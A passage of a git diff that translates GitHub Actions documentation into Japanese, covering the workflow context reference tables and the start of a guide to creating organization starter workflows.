+| `github.base_ref`    | `string` | ワークフローの実行における `base_ref` またはPull Requestのターゲットブランチ。 このプロパティは、ワークフローの実行をトリガーするイベントが `pull_request` または `pull_request_target` のいずれかである場合にのみ使用できます。                                                                                                                                                                                                                                                                                                                                |
+| `github.event`       | `オブジェクト` | webhook ペイロードの完全なイベント。 詳しい情報については、「[ワークフローをトリガーするイベント](/articles/events-that-trigger-workflows/)」を参照してください。 このコンテキストを使用して、イベントの個々のプロパティにアクセスできます。                                                                                                                                                                                                                                                                                                                               |
+| `github.event_name`  | `string` | ワークフローの実行をトリガーしたイベントの名前。                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| `github.event_path`  | `string` | ランナー上の完全なイベントwebhookペイロードへのパス。                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| `github.head_ref`    | `string` | ワークフローの実行における `head_ref` またはPull Requestのソースブランチ。 このプロパティは、ワークフローの実行をトリガーするイベントが `pull_request` または `pull_request_target` のいずれかである場合にのみ使用できます。                                                                                                                                                                                                                                                                                                                                  |
+| `github.job`         | `string` | 現在のジョブの[`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id)。                                                                                                                                                                                                                                                                                                                                                                                            |
+| `github.ref`         | `string` | ワークフローの実行をトリガーしたブランチまたはタグ ref。 For branches this is the format  `refs/heads/<branch_name>`, and for tags it is `refs/tags/<tag_name>`.                                                                                                                                                                                                                                                                                                                              |
 {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5338 %}
-| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} |
-| `github.ref_protected` | `string` | {% data reusables.actions.ref_protected-description %} |
-| `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %} |
+| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} | | `github.ref_protected` | `string` | {% data reusables.actions.ref_protected-description %} | | `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %}
 {%- endif %}
-| `github.repository` | `string` | The owner and repository name. For example, `Codertocat/Hello-World`. |
-| `github.repository_owner` | `string` | The repository owner's name. For example, `Codertocat`. |
-| `github.run_id` | `string` | {% data reusables.github-actions.run_id_description %} |
-| `github.run_number` | `string` | {% data reusables.github-actions.run_number_description %} |
-| `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. |
-| `github.server_url` | `string` | Returns the URL of the GitHub server. For example: `https://github.com`. |
-| `github.sha` | `string` | The commit SHA that triggered the workflow run. |
-| `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. This is functionally equivalent to the `GITHUB_TOKEN` secret. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." |
-| `github.workflow` | `string` | The name of the workflow. If the workflow file doesn't specify a `name`, the value of this property is the full path of the workflow file in the repository. |
-| `github.workspace` | `string` | The default working directory for steps and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. |
+| `github.repository` | `string` | The owner and repository name. `Codertocat/Hello-World`などです。 | | `github.repository_owner` | `string` | The repository owner's name. たとえば`Codertocat`。 | | `github.run_id` | `string` | {% data reusables.github-actions.run_id_description %} | | `github.run_number` | `string` | {% data reusables.github-actions.run_number_description %} | | `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. | | `github.server_url` | `string` | Returns the URL of the GitHub server. たとえば、`https://github.com` などです。 | | `github.sha` | `string` | The commit SHA that triggered the workflow run. | | `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. これは機能的に`GITHUB_TOKEN`シークレットに等価です。 詳しい情報については「[GITHUB_TOKENでの認証](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)」を参照してください。 | | `github.workflow` | `string` | The name of the workflow. ワークフローファイルで `name` を指定していない場合、このプロパティの値は、リポジトリ内にあるワークフローファイルのフルパスになります。 | | `github.workspace` | `string` | The default working directory for steps and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. |
 
-### `env` context
+### `env`コンテキスト
 
-The `env` context contains environment variables that have been set in a workflow, job, or step. For more information about setting environment variables in your workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)."
+`env`コンテキストには、ワークフロー、ジョブ、ステップで設定された環境変数が含まれます。 ワークフローでの環境変数の設定に関する詳しい情報については「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)」を参照してください。
 
-The `env` context syntax allows you to use the value of an environment variable in your workflow file. You can use the `env` context in the value of any key in a **step** except for the `id` and `uses` keys. For more information on the step syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
+`env`の構文で、ワークフローファイル中の環境変数の値を利用できます。 `id`及び`uses`キーを除く、**step**中の任意のキーの値で`env`コンテキストを利用できます。 ステップの構文に関する詳しい情報については「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)」を参照してください。
 
-If you want to use the value of an environment variable inside a runner, use the runner operating system's normal method for reading environment variables.
+ランナー中で環境変数の値を使いたい場合は、ランナーのオペレーティングシステムで環境変数を読み取る通常の方法を使ってください。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `env` | `object` | This context changes for each step in a job. You can access this context from any step in a job. |
-| `env.<env_name>` | `string` | The value of a specific environment variable. |
+| プロパティ名                 | 種類       | 説明                                                             |
+| ---------------------- | -------- | -------------------------------------------------------------- |
+| `env`                  | `オブジェクト` | このコンテキストは、ジョブのステップごとに異なります。 このコンテキストには、ジョブのあらゆるステップからアクセスできます。 |
+| `env.<env_name>` | `string` | 特定の環境変数の値。                                                     |
 
-### `job` context
+### `job` コンテキスト
 
-The `job` context contains information about the currently running job.
+`job` コンテキストは、現在実行中のジョブに関する情報を含みます。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `job` | `object` | This context changes for each job in a workflow run. You can access this context from any step in a job. |
-| `job.container` | `object` | Information about the job's container. For more information about containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)." |
-| `job.container.id` | `string` | The id of the container. |
-| `job.container.network` | `string` | The id of the container network. The runner creates the network used by all containers in a job. |
-| `job.services` | `object` | The service containers created for a job. For more information about service containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)." |
-| `job.services.<service id>.id` | `string` | The id of the service container. |
-| `job.services.<service id>.network` | `string` | The id of the service container network. The runner creates the network used by all containers in a job. |
-| `job.services.<service id>.ports` | `object` | The exposed ports of the service container. |
-| `job.status` | `string` | The current status of the job. Possible values are `success`, `failure`, or `cancelled`. |
+| プロパティ名                                    | 種類       | 説明                                                                                                                                                                                  |
+| ----------------------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `ジョブ`                                     | `オブジェクト` | このコンテキストは、実行しているジョブごとに異なります。 このコンテキストには、ジョブのあらゆるステップからアクセスできます。                                                                                                                     |
+| `job.container`                           | `オブジェクト` | ジョブのコンテナに関する情報。 コンテナに関する詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)」を参照してください。          |
+| `job.container.id`                        | `string` | コンテナの ID。                                                                                                                                                                           |
+| `job.container.network`                   | `string` | コンテナネットワークの ID。 runner は、コンテナ内のすべてのジョブに使用されるネットワークを作成します。                                                                                                                           |
+| `job.services`                            | `オブジェクト` | ジョブのために作成されたサービスコンテナ。 サービスコンテナに関する詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)」を参照してください。 |
+| `job.services.<service id>.id`      | `string` | サービスコンテナの ID。                                                                                                                                                                       |
+| `job.services.<service id>.network` | `string` | サービスコンテナネットワークの ID。 runner は、コンテナ内のすべてのジョブに使用されるネットワークを作成します。                                                                                                                       |
+| `job.services.<service id>.ports`   | `オブジェクト` | サービスコンテナの公開ポート。                                                                                                                                                                     |
+| `job.status`                              | `string` | ジョブの現在の状態。 `success`、`failure`、`cancelled` のいずれかの値をとります。                                                                                                                            |
 
-### `steps` context
+### `steps` コンテキスト
 
-The `steps` context contains information about the steps in the current job that have already run.
+`steps` コンテキストは、すでに実行中のジョブ内のステップに関する情報を含みます。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `steps` | `object` | This context changes for each step in a job. You can access this context from any step in a job. |
-| `steps.<step id>.outputs` | `object` | The set of outputs defined for the step. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)." |
-| `steps.<step id>.conclusion` | `string` | The result of a completed step after [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
-| `steps.<step id>.outcome` | `string` | The result of a completed step before [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
-| `steps.<step id>.outputs.<output name>` | `string` | The value of a specific output. |
+| プロパティ名                                              | 種類       | 説明                                                                                                                                                                                                                                                                                 |
+| --------------------------------------------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `steps`                                             | `オブジェクト` | このコンテキストは、ジョブのステップごとに異なります。 このコンテキストには、ジョブのあらゆるステップからアクセスできます。                                                                                                                                                                                                                     |
+| `steps.<step id>.outputs`                     | `オブジェクト` | ステップに定義された出力のセット。 詳しい情報については、「[{% data variables.product.prodname_actions %} のメタデータ構文](/articles/metadata-syntax-for-github-actions#outputs)」を参照してください。                                                                                                                            |
+| `steps.<step id>.conclusion`                  | `string` | [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error)が適用された後に完了したステップの結果。 `success`、`failure`、`cancelled`、`skipped`のいずれかの値をとります。 `continue-on-error`のステップが失敗すると、`outcome`は`failure`になりますが、最終的な`conclusion`は`success`になります。 |
+| `steps.<step id>.outcome`                     | `string` | [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error)が適用される前の完了したステップの結果。 `success`、`failure`、`cancelled`、`skipped`のいずれかの値をとります。 `continue-on-error`のステップが失敗すると、`outcome`は`failure`になりますが、最終的な`conclusion`は`success`になります。 |
+| `steps.<step id>.outputs.<output name>` | `string` | 特定の出力の値。                                                                                                                                                                                                                                                                           |
 
-### `runner` context
+### `runner`コンテキスト
 
-The `runner` context contains information about the runner that is executing the current job.
+`runner`コンテキストには、現在のジョブを実行しているランナーに関する情報が含まれています。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `runner.name` | `string` | {% data reusables.actions.runner-name-description %} |
-| `runner.os` | `string` | {% data reusables.actions.runner-os-description %} |{% if actions-runner-arch-envvars %}
-| `runner.arch` | `string` | {% data reusables.actions.runner-arch-description %} |{% endif %}
-| `runner.temp` | `string` | {% data reusables.actions.runner-temp-directory-description %} |
-| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}|
+| プロパティ名              | 種類       | 説明                                                                                                                                                              |
+| ------------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `runner.name`       | `string` | {% data reusables.actions.runner-name-description %}
+| `runner.os`         | `string` | {% data reusables.actions.runner-os-description %} |{% if actions-runner-arch-envvars %}
+| `runner.arch`       | `string` | {% data reusables.actions.runner-arch-description %} 
+{% endif %}
+| `runner.temp`       | `string` | {% data reusables.actions.runner-temp-directory-description %}
+| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}
 
-### `needs` context
+### `needs`コンテキスト
 
-The `needs` context contains outputs from all jobs that are defined as a dependency of the current job. For more information on defining job dependencies, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+`needs`コンテキストは、現在のジョブの依存関係として定義されたすべてのジョブからの出力を含みます。 ジョブの依存関係の定義に関する詳しい情報については「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)」を参照してください。
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `needs.<job id>` | `object` | A single job that the current job depends on. |
-| `needs.<job id>.outputs` | `object` | The set of outputs of a job that the current job depends on. |
-| `needs.<job id>.outputs.<output name>` | `string` | The value of a specific output for a job that the current job depends on. |
-| `needs.<job id>.result` | `string` | The result of a job that the current job depends on. Possible values are `success`, `failure`, `cancelled`, or `skipped`. |
+| プロパティ名                                             | 種類       | 説明                                                                          |
+| -------------------------------------------------- | -------- | --------------------------------------------------------------------------- |
+| `needs.<job id>`                             | `オブジェクト` | 現在のジョブが依存している1つのジョブ。                                                        |
+| `needs.<job id>.outputs`                     | `オブジェクト` | 現在のジョブが依存しているジョブの出力の集合。                                                     |
+| `needs.<job id>.outputs.<output name>` | `string` | 現在のジョブが依存しているジョブの特定の出力の値。                                                   |
+| `needs.<job id>.result`                      | `string` | 現在のジョブが依存しているジョブの結果。 `success`、`failure`、`cancelled`、`skipped`のいずれかの値をとります。 |
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4757 %}
 ### `inputs` context
@@ -161,15 +151,15 @@ The `inputs` context contains information about the inputs of reusable workflow.
 
 For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)".
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `inputs` | `object` | This context is only available when it is [a reusable workflow](/actions/learn-github-actions/reusing-workflows). |
-| `inputs.<name>` | `string` or `number` or `boolean` | Each input value passed from an external workflow. |
+| プロパティ名                | 種類                                | 説明                                                                                                                |
+| --------------------- | --------------------------------- | ----------------------------------------------------------------------------------------------------------------- |
+| `inputs`              | `オブジェクト`                          | This context is only available when it is [a reusable workflow](/actions/learn-github-actions/reusing-workflows). |
+| `inputs.<name>` | `string` or `number` or `boolean` | Each input value passed from an external workflow.                                                                |
 {% endif %}
 
-#### Example printing context information to the log file
+#### コンテキスト情報をログに出力するサンプル
 
-To inspect the information that is accessible in each context, you can use this workflow file example.
+各コンテキストでアクセスできる情報を調べるには、次の例のようにワークフローファイルを使用します。
 
 {% data reusables.github-actions.github-context-warning %}
 
@@ -215,31 +205,28 @@ Different contexts are available throughout a workflow run. For example, the `se
 
 In addition, some functions may only be used in certain places. For example, the `hashFiles` function is not available everywhere.
 
-The following table indicates where each context and special function can be used within a workflow. Unless listed below, a function can be used anywhere.
-
-{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
-
-| Path | Context | Special functions |
-| ---- | ------- | ----------------- |
-| <code>concurrency</code> | <code>github, inputs</code> | |
-| <code>env</code> | <code>github, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | |
+The following table indicates where each context and special function can be used within a workflow. Unless listed below, a function can be used anywhere. |{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
+| パス                         | コンテキスト                     | Special functions          |
+| -------------------------- | -------------------------- | -------------------------- |
+| <code>concurrency</code>  | <code>github, inputs</code>  |                            |
+| <code>env</code>  | <code>github, secrets, inputs</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.concurrency</code>  | <code>github, needs, strategy, matrix, inputs</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container</code>  | <code>github, needs, strategy, matrix, inputs</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container.credentials</code>  | <code>github, needs, strategy, matrix, env, secrets, inputs</code>  |                            |
+| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> |                            |
 | <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs, inputs</code> | <code>always, cancelled, success, failure</code> |
-| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, needs, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.secrets.&lt;secrets_id&gt;</code> | <code>github, needs, secrets</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, inputs</code> |                            |
 | <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps, inputs</code> | <code>always, cancelled, success, failure, hashFiles</code> |
@@ -248,32 +235,32 @@ The following table indicates where each context and special function can be use
 | <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps, inputs</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix, inputs</code> | |
-| <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs</code> | |
-| <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github</code> | |
-| <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix, inputs</code> |                            |
+| <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs</code> |                            |
+| <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github</code> |                            |
+| <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> |                            |
 {% else %}
-| Path | Context | Special functions |
-| ---- | ------- | ----------------- |
-| <code>concurrency</code> | <code>github</code> | |
-| <code>env</code> | <code>github, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env</code> | |
-| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps</code> | |
-| <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs</code> | <code>always, cancelled, success, failure</code> |
-| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | |
-| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> | |
-| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> | |
+| パス                          | コンテキスト                      | Special functions           |
+| --------------------------- | --------------------------- | --------------------------- |
+| <code>concurrency</code>  | <code>github</code>  |                             |
+| <code>env</code>  | <code>github, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.concurrency</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container.credentials</code>  | <code>github, needs, strategy, matrix, env, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code>  | <code>github, needs, strategy, matrix, job, runner, env, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.continue-on-error</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.defaults.run</code>  | <code>github, needs, strategy, matrix, env</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.env</code>  | <code>github, needs, strategy, matrix, secrets</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.environment</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.environment.url</code>  | <code>github, needs, strategy, matrix, job, runner, env, steps</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.if</code>  | <code>github, needs</code>  | <code>always, cancelled, success, failure</code>  |
+| <code>jobs.&lt;job_id&gt;.name</code>  | <code>github, needs, strategy, matrix</code>  |                             |
+| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> |                             |
+| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> |                             |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> |                             |
 | <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps</code> | <code>always, cancelled, success, failure, hashFiles</code> |
@@ -282,6 +269,6 @@ The following table indicates where each context and special function can be use
 | <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
 | <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
-| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs</code> | |
-| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix</code> | |
-{% endif %}
\ No newline at end of file
+| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs</code> |                             |
+| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix</code> |                             |
+{% endif %}
diff --git a/translations/ja-JP/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md b/translations/ja-JP/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
index 861365c0ec..8d08ae4b84 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
@@ -19,7 +19,7 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
 {% data reusables.actions.workflow-organization-templates %}
 
@@ -41,13 +41,13 @@ Starter workflows created by users can only be used to create workflows in publi
 
 This procedure demonstrates how to create a starter workflow and metadata file. The metadata file describes how the starter workflows will be presented to users when they are creating a new workflow.
 
-1. If it doesn't already exist, create a new public repository named `.github` in your organization.
-2. Create a directory named `workflow-templates`.
-3. Create your new workflow file inside the `workflow-templates` directory.
+1. 存在しない場合は、Organization内で`.github`という名前の新しいパブリック リポジトリを作成します。
+2. `workflow-templates`という名前のディレクトリを作成します。
+3. `workflow-templates` ディレクトリ内に新しいワークフローファイルを作成します。
 
-   If you need to refer to a repository's default branch, you can use the `$default-branch` placeholder. When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch.
+   リポジトリのデフォルトブランチを参照する必要がある場合は、 `$default-branch` プレースホルダを使用できます。 When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch.
 
-   For example, this file named `octo-organization-ci.yml` demonstrates a basic workflow.
+   たとえば、`octo-organization-ci.yml`という名前のこのファイルは、基本的なワークフローを示しています。
 
    ```yaml
    name: Octo Organization CI
@@ -68,7 +68,7 @@ This procedure demonstrates how to create a starter workflow and metadata file.
          - name: Run a one-line script
            run: echo Hello from Octo Organization
    ```
-4. Create a metadata file inside the `workflow-templates` directory. The metadata file must have the same name as the workflow file, but instead of the `.yml` extension, it must be appended with `.properties.json`. For example, this file named `octo-organization-ci.properties.json` contains the metadata for a workflow file named `octo-organization-ci.yml`:
